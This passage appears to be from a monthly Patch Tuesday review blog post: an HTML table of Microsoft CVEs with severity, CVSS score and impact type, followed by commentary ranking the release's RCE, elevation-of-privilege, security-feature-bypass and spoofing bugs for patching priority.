  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58531"><span>CVE-2026-58531</span></a></td>
  <td width="256" class="xl74">Windows SMB Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54997"><span>CVE-2026-54997</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49801"><span>CVE-2026-49801</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50690"><span>CVE-2026-50690</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56168"><span>CVE-2026-56168</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50360"><span>CVE-2026-50360</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57089"><span>CVE-2026-57089</span></a></td>
  <td width="256" class="xl74">Windows SMB Server
  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50333"><span>CVE-2026-50333</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50298"><span>CVE-2026-50298</span></a></td>
  <td width="256" class="xl74">Windows Spaceport.sys
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49171"><span>CVE-2026-49171</span></a></td>
  <td width="256" class="xl74">Windows Speech Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49170"><span>CVE-2026-49170</span></a></td>
  <td width="256" class="xl74">Windows
  StateRepository API Server file Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58526"><span>CVE-2026-58526</span></a></td>
  <td width="256" class="xl74">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50299"><span>CVE-2026-50299</span></a></td>
  <td width="256" class="xl74">Windows Storage Spaces
  Direct Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57968"><span>CVE-2026-57968</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57973"><span>CVE-2026-57973</span></a></td>
  <td width="256" class="xl74">Windows Subsystem for
  Linux (WSL2) Kernel Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50418"><span>CVE-2026-50418</span></a></td>
  <td width="256" class="xl74">Windows System Secure
  Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50306"><span>CVE-2026-50306</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50307"><span>CVE-2026-50307</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49177"><span>CVE-2026-49177</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50669"><span>CVE-2026-50669</span></a></td>
  <td width="256" class="xl74">Windows Telephony
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54124"><span>CVE-2026-54124</span></a></td>
  <td width="256" class="xl74">Windows Terminal
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50350"><span>CVE-2026-50350</span></a></td>
  <td width="256" class="xl74">Windows Trusted
  Runtime Interface Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50326"><span>CVE-2026-50326</span></a></td>
  <td width="256" class="xl74">Windows Unified
  Consent System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49790"><span>CVE-2026-49790</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50498"><span>CVE-2026-50498</span></a></td>
  <td width="256" class="xl74">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58547"><span>CVE-2026-58547</span></a></td>
  <td width="256" class="xl74">Windows Universal Plug
  and Play (UPnP) Device Host Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49794"><span>CVE-2026-49794</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50453"><span>CVE-2026-50453</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58528"><span>CVE-2026-58528</span></a></td>
  <td width="256" class="xl74">Windows USB Audio
  Class Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50321"><span>CVE-2026-50321</span></a></td>
  <td width="256" class="xl74">Windows USB Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50479"><span>CVE-2026-50479</span></a></td>
  <td width="256" class="xl74">Windows USB Hub Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55000"><span>CVE-2026-55000</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54991"><span>CVE-2026-54991</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54996"><span>CVE-2026-54996</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49802"><span>CVE-2026-49802</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49806"><span>CVE-2026-49806</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50674"><span>CVE-2026-50674</span></a></td>
  <td width="256" class="xl74">Windows USB Print
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49804"><span>CVE-2026-49804</span></a></td>
  <td width="256" class="xl74">Windows USB Video
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50454"><span>CVE-2026-50454</span></a></td>
  <td width="256" class="xl74">Windows User Interface
  Core Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49176"><span>CVE-2026-49176</span></a></td>
  <td width="256" class="xl74">Windows WalletService
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49800"><span>CVE-2026-49800</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50480"><span>CVE-2026-50480</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56173"><span>CVE-2026-56173</span></a></td>
  <td width="256" class="xl74">Windows WebView
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58632"><span>CVE-2026-58632</span></a></td>
  <td width="256" class="xl74">Windows Win32 Kernel
  Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54107"><span>CVE-2026-54107</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54986"><span>CVE-2026-54986</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54112"><span>CVE-2026-54112</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54114"><span>CVE-2026-54114</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50670"><span>CVE-2026-50670</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50688"><span>CVE-2026-50688</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50687"><span>CVE-2026-50687</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56176"><span>CVE-2026-56176</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58628"><span>CVE-2026-58628</span></a></td>
  <td width="256" class="xl74">Windows Wireless
  Network Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50295"><span>CVE-2026-50295</span></a></td>
  <td width="256" class="xl74">Windows Zero Trust DNS
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50509"><span>CVE-2026-50509</span></a></td>
  <td width="256" class="xl74">Wireless Wide Area
  Network Service (WwanSvc) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55945"><span>CVE-2026-55945</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45488"><span>CVE-2026-45488</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45489"><span>CVE-2026-45489</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55145"><span>CVE-2026-55145</span></a></td>
  <td width="256" class="xl74">Outlook Copilot
  Tampering Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56181"><span>CVE-2026-56181</span></a></td>
  <td width="256" class="xl74">Windows Network
  Address Translation (NAT) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58597"><span>CVE-2026-58597</span></a></td>
  <td width="256" class="xl74">Microsoft
  Edge (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl73">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.</em></p><p class=""><em> </em></p><p class=""><em> </em></p><p class="">I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.</p><p class=""> </p><p class="">Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.</p><p class="">That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.</p><p class="">The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.</p><p class="">And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.</p><p class="">There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.</p><p class="">There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.</p><p class="">The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. 